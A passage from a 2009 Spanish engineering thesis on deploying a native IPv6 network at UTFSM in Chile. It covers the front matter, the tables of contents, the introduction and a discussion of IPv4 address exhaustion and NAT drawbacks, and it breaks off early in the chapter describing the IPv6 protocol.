UNIVERSIDAD TÉCNICA FEDERICO SANTA MARÍA DEPARTAMENTO DE ELECTRÓNICA VALPARAÍSO – CHILE
“ESTUDIO E IMPLEMENTACIÓN DE UNA RED IPV6 EN LA UTFSM”
FELIPE ERNESTO JARA SABA MEMORIA DE TITULACIÓN PARA OPTAR AL TÍTULO DE INGENIERO CIVIL TELEMÁTICO
PROFESOR GUÍA : PROFESORES CORREFERENTES :
ABRIL – 2009
MARCELO MARABOLIV. R. AGUSTÍN GONZÁLEZ MARCO ARAVENA V.
Este trabajo es la novena sinfonía que marca el fin de mi vida universitaria. Etapa en la que diversos músicos han participado, interpretando virtuosamente los pasajes y melodías que me acompañaron durante estos años. A mi familia y en especial a mis padres, por apoyarme y alentarme en todas las decisiones que he tomado. A todos mis amigos y amigas que tuve la fortuna de conocer durante mi paso por esta Universidad. Gracias por ser parte de mi mundo. A todos los profesores que guiaron y me alentaron a explotar mis capacidades como persona y estudiante. Gracias a todos ellos El director
i
Estudio e implementación de una red IPv6 en la UTFSM Felipe Ernesto Jara Saba. Memoria presentada como requisito parcial para optar al título de Ingeniero Civil Telemático. Abril de 2009
Resumen El protocolo de Internet versión 4 (IPv4) ha sido el principal protagonista del desarrollo y expansión de Internet en las últimas décadas. El crecimiento explosivo de Internet y la diversificación de los servicios que entrega, han expuesto los problemas existentes actualmente en IPv4. Es por este motivo que se ha desarrollado el protocolo de Internet versión 6 (IPv6), que corrige dichos problemas y permite crear la base para el desarrollo de Internet durante las próximas décadas. En la actualidad, el soporte IPv6 que ofrecen los fabricantes de equipos y programas computacionales ha alcanzado un desarrollo que permite la implementación de redes IPv6 nativas. Ya no es necesario depender de herramientas de traducción y/o túneles para poder desarrollar redes IPv6 que implementen el mismo tipo de servicios otorgados en redes IPv4. Este trabajo presenta el desarrollo e implementación de una red IPv6 en la UTFSM conectada directamente a Internet. Se entregan los criterios utilizados para la actualización de los equipos de la red junto al plan de integración de IPv6. Se realiza una revisión del soporte IPv6 en sistemas operativos y servicios de red junto a un análisis sobre posibles ataques que afecten la seguridad de la red implementada. Palabras claves: IPv6, red UTFSM, “dual-stack”, seguridad.
ii
Analysis and deployment of a IPv6 network in the UTFSM Felipe Ernesto Jara Saba. April 2009
Abstract Internet Protocol version 4 (IPv4) has been a key player in the development and expansion of the Internet during the last decades. The explosive growth of Internet and the diversification of its services have exposed some of the existing problems IPv4 protocol has. This is the reason why a new version has been developed, the Internet Protocol version 6 (IPv6), which addresses mentioned problems and allows to create a platform for the future of Internet during the next decades. Today, hardware and software providers support for IPv6 has reached a level which allows the deployment of native IPv6 networks. Protocol translation tools and tunnels are not longer required to deploy IPv6 networks which are able to offer the same kind of services available in IPv4 networks. This work presents the design and implementation of an IPv6 network in UTFSM, which is connected directly to Internet. This document includes the chosen criteria used to upgrade network hardware, the integration plan for implementing IPv6 and a review of the IPv6 support available in operating systems and software. A security analysis was made in the network about possible IPv6 vulnerabilities that could jeopardize the implemented network.
Keywords: IPv6, UTFSM network, dual-stack, security.
iii
Índice General 1. Introducción ..................................................................................... .................... 1 2. La necesidad de IPv6 ..................................................... ...................................... 4 2.1. Problemas existentes en IPv4...................................................................... 4 2.1.1. Agotamiento direcciones IP ................................................................ 5 2.1.2. Problemas de arquitectura ................................................................... 9 2.2. Motivadores del cambio a IPv6 ................................................................ 10 3. El protocolo IPv6 ............................................................................................... 13 3.1. Características del protocolo IPv6 ............................................................ 13 3.2. Estructura de un paquete IPv6 .................................................................. 14 3.3. Formato de una dirección IPv6 ................................................................. 16 3.4. Direccionamiento IPv6 ............................................................................. 17 3.4.1. Unicast ............................................................................................... 18 3.4.2. Direcciones “unicast” locales al enlace ............................................. 19 3.4.3. Direcciones “unicast” locales únicas ................................................. 20 3.4.4. Direcciones “unicast” Globales: ........................................................ 21 3.4.5. Multicast ............................................................................................ 22 3.4.6. Anycast .............................................................................................. 24 3.5. Algoritmos de Enrutamiento ..................................................................... 25 3.6. ICMPv6..................................................................................................... 25 3.6.1. Protocolo de descubrimiento de vecinos ........................................... 25 3.7. Mecanismos de configuración de direcciones .......................................... 26 3.8. Fragmentación........................................................................................... 28 4. Análisis red institucional y evaluación de alternativas ....... ........................... 30 4.1. Red Institucional UTFSM......................................................................... 30 4.2. Mecanismos de implementación de redes IPv6 ........................................ 32 4.3. Análisis del soporte IPv6 en la red institucional ....................................... 33 4.4. Alternativas de equipamiento ................................................................... 34 4.5. Comparación de alternativas de equipamiento ......................................... 35 4.5.1. Soporte IPv6 ...................................................................................... 35 4.5.2. Tecnologías y filosofía de diseño. ..................................................... 36 4.5.3.
Costos de implementación y soporte ................................................. 37 iv
5. Diseño e Implementación de la red IPv6 ....................................... .................. 39 5.1. Topología revisada de la red institucional UTFSM .................................. 39 5.2. Conexión a Internet mediante IPv6........................................................... 40 5.2.1. Selección de un proveedor de servicios de Internet (ISP) ................. 40 5.2.2. Obtención de un prefijo IPv6 ............................................................ 41 5.3. Protocolos de enrutamiento....................................................................... 42 5.3.1. Protocolo de enrutamiento externo.................................................... 42 5.3.2. Protocolo de enrutamiento interno .................................................... 43 5.4. Direccionamiento IPv6 en la UTFSM ...................................................... 43 5.5. Configuración equipos .............................................................................. 44 6. Soporte IPv6 en sistemas operativos y aplicaciones ....................................... 46 6.1. Soporte IPv6 en sistemas operativos......................................................... 46 6.1.1. Sistemas operativos Windows ........................................................... 47 6.1.2. FreeBSD, OpenBSD y NetBSD ........................................................ 48 6.1.3. Linux.................................................................................................. 48 6.2. Soporte IPv6 aplicaciones uso común ...................................................... 49 6.3. Configuración de servidor IPv6 y servicios asociados ............................. 50 6.3.1. Servidor DNS (BIND) ....................................................................... 50 6.3.2. Servidor Web (Apache) ..................................................................... 51 6.3.3. Servicios de monitoreo y administración de Redes........................... 51 7. Consideraciones de desempeño ........................................................................ 55 7.1. Aspectos Teóricos ..................................................................................... 55 7.2. Desempeño en servidor Apache................................................................ 57 7.3. Desempeño en servidor FTP ..................................................................... 58 7.4. Conclusiones ............................................................................................. 59 8. Seguridad en redes IPv6 ................................................ .................................... 60 8.1. Reconocimiento en redes IPv6.................................................................. 60 8.2. Vulnerabilidades en ICMPv6.................................................................... 61 8.2.1. Configuración automática de direcciones (SLACC) ......................... 61 8.2.2. Resolución de direcciones ................................................................. 63 8.2.3. Detección de direcciones Duplicadas (DAD) .................................... 65 8.2.4. Redirección ........................................................................................ 66 8.3. Medidas de protección .............................................................................. 67 8.3.1. Protocolo SeND Secure Neighbor Discovery (SEND) ..................... 67 v
8.3.2. Mecanismos de seguridad en “switches” .......................................... 68 8.3.3. Microsegmentación ........................................................................... 69 8.3.4. NDPMon............................................................................................ 70 9. Conclusiones .................................................. .................................................... . 71 9.1. Conclusiones generales ............................................................................. 71 9.2. Trabajo Futuro .......................................................................................... 72 9.2.1. Plan de actualización de la red. ......................................................... 72 9.2.2. Tecnologías y protocolos complementarios ...................................... 73 Bibliografía ............................................... ..................................................... .......... 74 Anexo A: Códigos direcciones IPv6 UTFSM ..................................... .................. 77 A.1. Casa Central .............................................................................................. 77 Anexo B: Conf iguración de equ ipos red IPv6 ...................................................... 79 B.1. Configuración equipo border-gw .............................................................. 80 B.2. Configuración equipo firewall-primary .................................................... 81 B.3. Configuración equipo sw-inside ............................................................... 84
Anexo C: Conf iguración de u n servidor en una red IPv6 ................................... 86 C.1. Configuración de direcciones ................................................................... 86 C.2. NET-SNMP............................................................................................... 86 C.3. MRTG ....................................................................................................... 87 C.4. Nagios ....................................................................................................... 87 C.5. BIND ......................................................................................................... 88 C.6. Apache ...................................................................................................... 89 Anexo D: Pruebas de seguridad en una red IPv6 ................................................ 90 D.1. Descripción del escenario de pruebas ....................................................... 90 D.2. Configuración automática de direcciones ................................................. 92 D.3. Resolución de direcciones......................................................................... 93 D.4. Detección de direcciones duplicadas ........................................................ 93 D.5. Redirección ............................................................................................... 94
vi
Índice de figuras Figura 2.1 Distribución actual de bloques /8. ............................................................. 6 Figura 2.2 Proyección del agotamiento de bloques /8.. .............................................. 7 Figura 3.1 Estructura de un paquete IPv6. ................................................................ 14 Figura 3.2 Cambios en la cabecera de los paquetes IPv6. ........................................ 16 Figura 3.3 Contextos de direcciones “unicast”. ........................................................ 19
Figura 3.4 Creación del identificador de interfaz. .................................................... 20 Figura 3.5 Estructura de una dirección local única................................................... 20 Figura 3.6 Estructura de una dirección “unicast” global. ......................................... 21 Figura 3.7 Jerarquía de delegación de prefijos “unicast” globales. .......................... 22 Figura 3.8 Estructura direcciones “multicast”. ......................................................... 22
Figura 3.9 Estructura dirección "multicast" de nodo solicitado ............................... 23 Figura 4.1 Topología simplificada Red UTFSM (11/2008). .................................... 31 Figura 5.1 Topología simplificada Red UTFSM (04/2009) ..................................... 40 Figura 5.2 “Multihoming” con espacio direccionamiento independiente. ............... 42
Figura 5.3 Diagrama configuración equipos UTFSM. ............................................. 45 Figura 6.1 Evolución de MIBs unificadas ................................................................ 52 Figura 7.1 Escenario de pruebas servidor web. ........................................................ 57 Figura 7.2 Escenario de pruebas servidor FTP. ........................................................ 58 Figura 7.1 Configuración automática de direcciones. .............................................. 62 Figura 7.2 Ejemplo de ataque basado en configuración automática de direcciones. 63 Figura 7.3 Procedimiento de resolución de direcciones IPv6................................... 64 Figura 7.4 Ejemplo de ataque basado en la detección de direcciones duplicadas. ... 65 Figura 7.5 Procedimiento de redirección. ................................................................. 66 Figura 7.6 Generación de una dirección CGA. ......................................................... 68 Figura B.1 Diagrama configuración equipos red IPv6 UTFSM. .............................. 79 Figura B.2 Diagrama configuración "dual-stack" de VLANs en sw-inside. ............ 85 Figura D.1 Escenario para pruebas de vulnerabilidades ICMPv6. ........................... 90
vii
Índice de tablas Tabla 3.1 Códigos de contexto en una dirección “multicast”. .................................. 23
Tabla 3.2 Direcciones de grupos "multicast" fijos.................................................... 23 Tabla 3.3 Ejemplos direcciones “multicast” de nodo solicitado. ............................. 24
Tabla 3.4 Protocolos de enrutamiento en IPv6 ......................................................... 25 Tabla 3.5 Características protocolo descubrimiento de vecinos. .............................. 26 Tabla 3.6 Diferencias entre DHCPv4 y DHCPv6 ..................................................... 28 Tabla 4.1 Análisis equipos existentes Red Institucional UTFSM ............................ 33 Tabla 4.2 Propuesta Cisco. ....................................................................................... 34 Tabla 4.3 Propuesta Juniper...................................................................................... 34 Tabla 4.4 Características IPv6 equipos Cisco. .......................................................... 35 Tabla 4.5 Características IPv6 equipos Juniper ........................................................ 35 Tabla 4.6 Comparación entre IOS y JUNOS. ........................................................... 37 Tabla 5.1 Equipos reemplazados en la red institucional........................................... 39 Tabla 5.2 Estructura direcciones IPv6 de la UTFSM ............................................... 43 Tabla 5.3 Detalle campos direcciones IPv6 UTFSM ............................................... 43 Tabla 5.4 Número de direcciones IPv6 disponibles en la UTFSM. ......................... 44 Tabla 6.1 Soporte IPv6 en sistemas operativos utilizados en la red UTFSM. .......... 46 Tabla 6.2 Soporte IPv6 aplicaciones uso común. ..................................................... 49 Tabla 6.3 Servicios instalados en servidor FreeBSD 7.1 .......................................... 50 Tabla 6.4 Ejemplo de un sitio asociado a direcciones IPv4 e IPv6 .......................... 51 Tabla 6.5 Ejemplo de registro PTR para una dirección IPv6 ................................... 51 Tabla 7.1 Calculo “overhead” paquetes IPv4 e IPv6. ............................................... 56
Tabla 7.2 Resultados prueba servidor Web. ............................................................. 57 Tabla 7.3 Cálculo teórico transmisión archivo de 734.271 [Mbyte]. ....................... 58 Tabla 7.4 Resultados prueba transmisión FTP. ........................................................ 59 Tabla A.1 Códigos campo “Unidad” direcciones IPv6 Casa Central ....................... 77
Tabla B.1 Configuración gw-border (extracto). ....................................................... 80 Tabla B.2 Comandos IOS para diagnóstico de equipo gw-border. .......................... 81 viii
Tabla B.3 Reglas implícitas en una ACL IPv6. ........................................................ 82 Tabla B.4 Configuración equipo fw-primary (extracto). .......................................... 83 Tabla B.5 Configuración interfaz VLAN Catalyst 3750. ......................................... 85 Tabla C.1 Configuración IPv6 de una interfaz. ........................................................ 86 Tabla C.2 Configuración demonio snmpd. ............................................................... 86 Tabla C.3 Creación archivos MRTG. ....................................................................... 87 Tabla C.4 Configuración Nagios. ............................................................................. 87 Tabla C.5 Configuración named.conf. ...................................................................... 88 Tabla C.6. Archivo utfsm.cl.0.7.2.0.0.0.8.2.ip6.arpa.hosts ...................................... 88 Tabla C.7 Archivo 0.7.2.0.0.0.8.2.ip6.hosts ............................................................. 88 Tabla C.8 Archivo /usr/local/etc/apache22/httpd.conf ............................................. 89 Tabla D.1 Configuración inicial interfaz de red PC 1. ............................................. 90 Tabla D.2 Tabla de rutas inicial PC 1. ...................................................................... 91 Tabla D.3 Configuracion "router" Cisco 2811 (extracto). ........................................ 91 Tabla D.4 Archivo de configuración de NDPMON (extracto)................................. 91 Tabla D.5 Ataque de falsificación de “router”.
........................................................ 92
Tabla D.6 Configuración interfaz PC 1 tras ataque. ................................................. 92 Tabla D.7 Tabla de rutas PC 1 tras ataque................................................................ 92 Tabla D.8 Alerta generada por NDPMON durante el ataque. .................................. 92 Tabla D.9 Ataque de resolución de direcciones. ...................................................... 93 Tabla D.10 Tabla de vecinos PC 1 tras ataque. ........................................................ 93 Tabla D.11 Alerta generada por NDPMON durante el ataque. ................................ 93 Tabla D.12 Ataque de detección de direcciones duplicadas. .................................... 93 Tabla D.13 Tabla de vecinos PC 1 tras ataque. ........................................................ 94 Tabla D.14 Alerta generada por NDPMON durante el ataque. ................................ 94 Tabla D.15 Ataque de redirección. ........................................................................... 94 Tabla D.16 Tabla de vecinos PC 1 tras ataque. ........................................................ 95 Tabla D.17 Alerta generada por NDPMON durante el ataque. ................................ 95
ix
Capítulo 1
1.Introducción No existe duda alguna que las tecnologías de la información y comunicaciones (TIC) se han convertido en parte fundamental de nuestras vidas. Durante la última década, se han desarrollado innumerables tecnologías y servicios que han cambiado la forma en cómo nos comunicamos y relacionamos con personas a lo largo del mundo. Poco a poco observamos como los medios tradicionales de comunicación, televisión, telefonía y mensajería, entre otros, convergen hacia una única red de comunicaciones, la Internet Esta tendencia mundial ha conducido a un crecimiento explosivo en el número de usuarios de Internet. Junto a esto, Internet ha evolucionado desde ser una simple red que conecta computadores a una plataforma que entrega diversos tipos de servicios. Esta evolución ha dejado en descubierto las limitantes del protocolo IPv4, base de esta gran red. IPv4 fue desarrollado en la década de los 70 como una forma de interconectar un reducido número de redes y jamás se pensó en que tendría que ser la base de una red de millones de usuarios. Su reducido número de direcciones disponibles junto a problemas de arquitectura, han restringido y limitado el desarrollo de nuevas aplicaciones y tecnologías en Internet. El protocolo IPv6 fue desarrollado durante la década de los 90 con el fin de sustituir a IPv4 como protocolo dominante en Internet. IPv6 soluciona los problemas fundamentales de IPv4 y entrega una base para futuros desarrollos y avances en Internet. Dentro de las ventajas de IPv6 se encuentran un gran número de direcciones disponibles junto a características que facilitan la implementación de modelos de seguridad y calidad de servicio en Internet. La adopción de IPv6 ha sido un proceso lento. A la fecha, el tráfico IPv6 en Internet representa menos de un 1% del total cursado. Aun cuando diversos estudios [1] 1
pronostican que en pocos años más se producirá el agotamiento total de las direcciones IPv4, las empresas y organizaciones aún no encuentran motivos suficientes para invertir en implementaciones IPv6. Se espera que dicho panorama varíe a medida que se desarrollan nuevos servicios y negocios que requieran dar acceso masivo a Internet, tales como el despliegue de redes 3G. El método tradicional mediante el cual empresas, universidades y particulares han realizado implementaciones de redes IPv6 es mediante el uso de túneles. Esto les permite obtener una limitada conectividad IPv6 hacia el exterior, suficiente para realizar pruebas y comprobar algunas de las características del protocolo. Sin embargo, este tipo de implementaciones entrega un panorama parcial, que deja de lado mucho de los desafíos, decisiones y aspectos que hay que considerar cuando se debe implementar IPv6 de forma nativa en ambientes de producción. El principal objetivo de este trabajo es diseñar e implementar una red IPv6 nativa al interior de la UTFSM, con salida directa hacia Internet. En este trabajo se cubren diversos aspectos, desde la creación de un plan de actualización del equipamiento de la red, hasta la evaluación de alternativas de monitoreo y políticas de seguridad en la red. El trabajo y los resultados aquí expuestos constituyen el primer paso para una futura migración a IPv6 de todos los servicios ofrecidos por la red institucional de la UTFSM. En el capítulo 2 de este trabajo se analizan en profundidad los actuales problemas que presenta el protocolo IPv4, y como estos justifican la necesidad de adoptar IPv6. En el capítulo 3 se describe brevemente el protocolo IPv6, con el fin de establecer el marco teórico necesario para permitir al lector comprender los pasos realizados en la implementación de la red IPv6 en la UTFSM. En el capítulo 4 se realiza un análisis de la red institucional UTFSM. Se establece el plan de actualización de equipos, y se evalúan las diversas alternativas tecnológicas y de fabricantes para la implementación de la red.
2
En el capítulo 5 se presenta el diseño de la red IPv6, describiendo los protocolos de enrutamiento utilizados, el plan de direccionamiento creado y la configuración utilizada en los equipos. En el capítulo 6 se entrega un breve acercamiento al soporte IPv6 existente en sistemas operativos y aplicaciones. Se hace un énfasis especial en los programas de monitoreo de redes y su comportamiento en redes IPv6. En el capítulo 7 se analizan los aspectos del protocolo IPv6 que afectan su desempeño en comparación a IPv4. Se presentan dos escenarios de prueba que comparan el desempeño de IPv6 en aplicaciones de uso masivo. En el capítulo 8 se describen las principales debilidades en la seguridad de la red IPv6 implementada, junto a la evaluación de alternativas para mitigar posibles ataques. Finalmente, en el capítulo 8 se entregan las conclusiones finales del trabajo, definiendo cuales son los siguientes pasos y aspectos a evaluar en un futuro plan de migración total a IPv6.
3
Capítulo 2
2.La necesidad de IPv6 2.1. Problemas existentes en IPv4 El protocolo de Internet (IP) es un protocolo no orientado a la conexión usado para trasmitir información a través de una red de paquetes conmutados. Se ubica en la capa 3 del modelo ISO/OSI y su función es entregar paquetes desde un nodo de srcen a uno de destino, basado en la dirección escrita en cada paquete. El protocolo de Internet versión 4 (IPv4) es la cuarta iteración del protocolo IP y la primera versión en ser utilizada en ambientes de producción. Es el protocolo dominante en Internet, utilizado para conectar redes de forma interna y hacia el exterior. Dentro de sus principales características se encuentran:
Enrutamiento y direccionamiento: Provee una dirección única a cada dispositivo de una red de paquetes. IPv4 fue especialmente diseñado para facilitar el enrutamiento de información (paquetes) a través de redes de diversa complejidad.
Encapsulación: El protocolo IPv4 nace como una división del antiguo protocolo TCP (“Transmission Control Protocol”). Se ubica en la capa 3 del modelo ISO/OSI y puede funcionar sobre diversos protocolos de nivel inferior.
Mejor esfuerzo: El protocolo IP provee un servicio de transmisión de paquetes no fiable (o de mejor esfuerzo). No se asegura que los paquetes enviados lleguen correctamente al destino.
La versión de IPv4 usada actualmente en Internet no ha cambiado sustancialmente desde su publicación inicial en 1981 [2]. IPv4 ha demostrado ser un protocolo robusto, fácil de implementar y con la capacidad de operar sobre diversos protocolos 4
de capa 2. Si bien fue diseñado inicialmente para interconectar unos pocos computadores en redes simples, ha sido capaz de soportar el explosivo crecimiento de internet. Sin embargo en el último tiempo, se han hecho notar diversos problemas existentes en IPv4, asociados al crecimiento de Internet y a la aparición de nuevas tecnologías y servicios que requieren conectividad IP.
2.1.1. Agotamiento direcciones IP Una dirección IPv4 tiene un tamaño de 32 [bit], los que permiten un máximo teórico de 2 32 (4.294.967.296) direcciones a asignar. En los inicios de Internet, se utilizaron métodos de distribución poco eficientes, como la asignación por clases, mediante los cuales se asignaron grandes bloques de direcciones a organizaciones que solo requerían unas pocas. Esto ha generado que actualmente muchas organizaciones posean un gran número de direcciones que no se encuentran utilizadas. Los primeros reportes de alerta sobre el inminente agotamiento de direcciones IP se dieron a conocer alrededor de 1990 [3]. Diversas soluciones y protocolos han permitido extender la vida útil de IPv4, tales como la traducción de direcciones de red (NAT), el enrutamiento sin clases entre dominios (CIDR) y el uso de asignaciones temporales de direcciones con servicios tales como DHCP y RADIUS/PPP. Actualmente, se ha establecido una política jerarquizada para la asignación de direcciones IPv4, en donde el IANA (“Internet Assigned Numbers Authority”) tiene a
su cargo el manejo de los bloques de direcciones IPv4 que se encuentran libres. Junto al IANA, se encuentran los registros regionales de Internet (AFRINIC, APNIC, ARIN, LACNIC y RIPENCC) quienes reciben bloques de direcciones delegados por el IANA y los distribuyen entre los proveedores de servicios (ISP) de la región del mundo que administran. El IANA asigna bloques de prefijo /8, (equivalentes a 1/256 del total de direcciones) a los registros regionales. Dado que el rango de direcciones comprendido entre 224.X.X.X y 239.X.X.X se encuentra reservado para tráfico multicast”, y el rango “
5
entre 240.X.X.X y 254.X.X.X se encuentra reservado para trabajos experimentales, el espacio real de direcciones disponibles para ser asignadas es de 223 bloques /8, los cuales representan 16.777.214 direcciones cada uno. En laFigura 2.1 se observa la distribución actual1 de bloques /8.
RIPENCC
30
Bloques Reservados
35
Bloques Libres o g r a c a
LACNIC
d a d i t n E
Empresas
39 7 42
ARIN
68
APNIC
32
AFRINIC
3 0
10
20
30
40
50
60
70
80
Número de bloques /8 asignados
Figura 2.1 Distribución actual de bloques /8.
En la Figura 2.1 se observa que la mayor parte de los bloques se encuentra asignado al registro regional ARIN, que distribuye direcciones a Canada, EE.UU. e islas del Noratlántico. Se puede apreciar que una parte importante de los bloques /8 se encuentran asignados directamente a empresas y organizaciones,quienes recibieron dichos bloques como producto de las politicas de asignación anteriores a 1993. Dentro de los grupos reservados, se encuentran los bloques asignados a direcciones IP privadas, tráfico multicast” y otros usos aun no definidos. Los 39 bloques libres son “
manejados directamente por el IANA, quien los delega a cada registro regional de acuerdo a sus requerimientos. 1
al 20/09/2008 2 Datos Esta regla sólo se puede utilizar una vez en una dirección IPv6, de lo contrario el sistema no sabría 6
Es complicado estimar la fecha exacta en que se agotarán todas las direcciones IPv4 disponibles, ya que diversos factores pueden adelantar o retrasar dicha fecha. Dentro de esos factores se encuentran posibles cambios en la política de asignación, recuperación de bloques no utilizados o incluso la venta de direcciones IP entre privados. Una de las fuentes más utilizadas para proyectar el agotamiento de direcciones IPv4 es el sitio “IPv4 Address Report”
[1], que a partir de la información publicada por el IANA y los registros regionales, entrega una fecha estimada de agotamiento de direcciones IPv4. En la Figura 2.2 se presenta una proyección del agotamiento de bloques /8. Este análisis modela el comportamiento de cada registro regional, considerando su demanda histórica de bloques de direcciones IP. En la figura se observan tres curvas, una asociada a los bloques asignados a registros regionales (“Assigned”), otra que
representa aquellos bloques asignados que son anunciados efectivamente hacia internet (“Advertised”) y una que señal aquel los anunciados (“Unadvertised”).
Figura 2.2 Proyección del agotamiento de bloques /8.
bloques asignados que no son
Fuente: “IPv4 Address Report” .
7
En base a estas proyecciones, se estima que en Marzo del 2011 se agotará el total de los bloques /8 libres manejados por el IANA. A partir de dicho momento, los registros regionales no tendrán la posibilidad de solicitar bloques de direcciones adicionales, sólo podrán administrar las direcciones que ya tienen asignadas. La segunda fecha a considerar es cuando los registros agoten su reserva de direcciones y ya no puedan solicitar un bloque adicional al IANA. Se ha estimado que ello ocurra en Mayo del 2012, un año después del agotamiento de los bloques disponibles. Todos estos cálculos y estimaciones están realizados en base al crecimiento histórico que ha tenido la demanda de direcciones IP a nivel mundial. Sin embargo, se espera que en los próximos años, la demanda por direcciones IP sea aún mayor debido a diversos factores tales como:
Grandes poblaciones en China, India, Indonesia y África aun no están conectadas.
El número de individuos conectados a Internet crece en 77 millones por año [4].
Dispositivos electrónicos de todo tipo están paulatinamente conectándose a Internet.
De todas formas, es posible advertir que en estos días ya estamos en presencia de problemas relacionados con la baja disponibilidad de direcciones IP:
Las organizaciones normalmente obtienen pocas direcciones IP para toda su red, limitando las posibilidades de implementar servidores y aplicaciones.
Algunos proveedores de servicios (ISP) están asignando direcciones IP privadas a sus subscriptores, lo que significa que el suscriptor no puede ser contactado directamente desde internet.
Gran parte de las compañías de telefonía celular no proveen de direcciones públicas a los usuarios de servicios 3G.
8
Muchas aplicaciones disminuyen su rendimiento al no disponer de conectividad punto a punto auténtica.
2.1.2. Problemas de arquitectura Dado el fuerte crecimiento que ha experimentado Internet en los últimos años, ha sido necesario introducir modificaciones y protocolos complementarios a IPv4, con el fin de poder satisfacer la creciente demanda. Estos cambios han causado que las redes IP estén perdiendo paulatinamente el principio de conectividad punto a punto bajo el cual se diseño IPv4. Dicho principio estable lo siguiente:
Ciertas funciones solo pueden ser realizadas por los nodos finales. El estado de una comunicación punto a punto debe ser mantenida únicamente por los nodos finales y no por la red. La función de la red es enrutar paquetes de forma eficaz y transparente.
Los protocolos de transporte están designados para proveer las funciones deseadas sobre una red que no ofrece garantías (mejor esfuerzo).
Paquetes deben viajar sin modificación a través de la red.
Las direcciones IP son usadas como identificadores únicos para nodos finales.
Una de las medidas introducidas para frenar el agotamiento de direcciones IPv4 es el protocolo de traducción de direcciones de red (NAT). NAT es un protocolo que permite convertir en tiempo real las direcciones utilizadas en los paquetes transportados en una red. El uso de NAT permite que un grupo de dispositivos configurados con direcciones IPv4 privadas compartan un reducido grupo de direcciones IPv4 públicas, permitiendo el acceso hacia Internet. Si bien el uso de NAT ha permitido la expansión actual de Internet, su uso introduce una serie de problemas y desventajas, asociados a la pérdida del principio de conectividad punto a punto. Dentro de las desventajas del uso de NAT podemos encontrar:
9
Complejidad: NAT representa un nivel de complejidad adicional al momento de configurar y manejar una red. Se deben crear grupos de dispositivos y/o redes que comparten un número limitado de direcciones IPv4 públicas.
Compatibilidad con ciertas aplicaciones: Muchas aplicaciones no funcionan correctamente cuando se ejecutan desde dispositivos que están en una red donde se realiza NAT. Los desarrolladores han tenido que inventar nuevos mecanismos para poder funcionar correctamente en dichas redes.
Problemas con protocolos de Seguridad: Protocolos de seguridad tales como IPSec están designados para detectar modificaciones en las cabeceras de los paquetes, que es precisamente lo que hace NAT al traducir direcciones. El uso de NAT dificulta la implementación de este tipo de protocolos.
Reducción de rendimiento: Por cada paquete que atraviesa una red donde opera NAT, se deben realizar una serie de operaciones adicionales. Dichas operaciones introducen mas carga a la CPU del dispositivo que realiza la traducción, disminuyendo su rendimiento.
Manejo de estados TCP: El dispositivo que realiza NAT debe manejar y mantener correctamente los estados de cada conexión TCP entre equipos de la red interna y externa.
A pesar de todas sus desventajas, NAT permitió posponer en varios años el agotamiento de direcciones IPv4. Sin embargo, en la actualidad se ha llegado a un punto en donde el uso de NAT no es suficiente para la creciente demanda de direcciones IPv4. Esto ha motivado la evaluación de otras alternativas, tales como IPv6.
2.2. Motivadores del cambio a IPv6 El cambio desde IPv4 a IPv6 se suele comparar con la crisis que se vivió a fines de los 90 ante la llegada de año 2000 y sus consecuencias en los sistemas informáticos. Sin embargo, en el caso de IPv6 no existe una fecha límite o “flag day” en que se
10
puedan deshabilitar todas las redes IPv4 y actualizarlas a IPv6. El proceso de migración debe realizarse en forma progresiva, se prevé que IPv4 siga en funcionamiento durante la próxima década. El mayor problema que enfrenta IPv6 es que desde el punto de vista de las empresas y organizaciones, su implementación se ve como un gasto poco justificado. En la actualidad, el tráfico IPv6 representa menos de un 1% del tráfico total de Internet [5], y la mayoría corresponde a Universidades e instituciones que trabajan en el tema. Sin embargo, existen una serie de motivadores para la implementación a IPv6, los que se pueden agrupar en las siguientes categorías.
Motivadores Comerciales
La implementación de IPv6 es un movimiento estratégico. Su implementación en las redes de una empresa permite estar preparados para futuras necesidades de los clientes, generando una ventaja comparativa respecto de la competencia. [6]
Puede generar un ahorro en los costos de adquisición de nuevos equipos. Diversos fabricantes buscan impulsar la implementación de IPv6, ofreciendo descuentos a empresas e instituciones en la compra de nuevos equipos habilitados para IPv6.
Un plan de migración a IPv6 realizado con antelación es más económico que una migración tardía.
IPv6 abre las puertas a nuevos productos y servicios a ser ofrecidos por empresas TIC. Sus nuevas características, entre las que destaca el amplio rango de direcciones disponibles, permite generar nuevos proyectos que no podrían ser llevados a cabos en IPv4.
11
Motivadores Políticos
En Estados Unidos, la implementación de IPv6 es un mandato gubernamental, en el que se obligó a todas las agencias a implementar IPv6 en sus redes centrales antes de Junio del 2008. El caso más destacado es el del Departamento de defensa (DOD), el cual realizo un amplio y publicitado plan de integración.
Los gobiernos de Japón, China y Corea han establecido la implementación de IPv6 como prioritaria, otorgando un gran apoyo a todas las iniciativas en esta línea. Las olimpiadas de Beijing 2008 fueron un ejemplo de dichas políticas, toda
su
infraestructura
de
telecomunicaciones
fue
implementada
mayoritariamente en IPv6.
Motivadores Técnicos
Casi la totalidad de los equipos de red, sistemas operativos y dispositivos móviles en venta actualmente proveen soporte para IPv6.
El soporte IPv6 que proveen equipos de red como“switches,” routers” y “firewalls”
ha alcanzado un grado de madurez que ya permite implementar
redes que funcionan únicamente con IPv6 sin mayores contratiempos.
Algunos ISP ya proveen conectividad IPv6 a usuarios finales. IPv6 facilita la implementación de mecanismos de seguridad y de control de tráfico en redes IP.
En el caso particular de las instituciones de educación superior, como la Universidad Técnica Federico Santa María, la implementación de IPv6 en sus redes permite además el desarrollo de trabajos de investigación y colaboración en torno a IPv6 y/o a otras tecnologías.
12
Capítulo 3
3.El protocolo IPv6 El protocolo IPv6 comenzó a desarrollarse en el año 1990, tras la primera voz de alerta sobre el posible agotamiento de direcciones IP [3]. Se creó un grupo de trabajo al interior de la IETF, quienes presentaron sus primeras recomendaciones [7] sobre el nuevo protocolo que debería reemplazar a IPv4. En el mismo año se publicó oficialmente la primera versión del protocolo IPv6 [8]. En líneas generales, el protocolo IPv6 es considerado una evolución más que una revolución respecto al protocolo IPv4. Se han mantenido los conceptos principales del protocolo, removiendo aquellas características de IPv4 que son poco utilizadas en la práctica. Se han añadido nuevas características que buscan solucionar los problemas existentes en el protocolo IPv4, discutidos en el capítulo2.
3.1. Características del protocolo IPv6 Dentro de las principales características de IPv6 se encuentran:
Mayor número de direcciones: El tamaño de una dirección aumenta desde 32 a 128[bit] lo que se traduce en alrededor de 3,4·1038 direcciones disponibles. Esto permite asegurar que cada dispositivo conectado a una red pueda contar con una dirección IP pública.
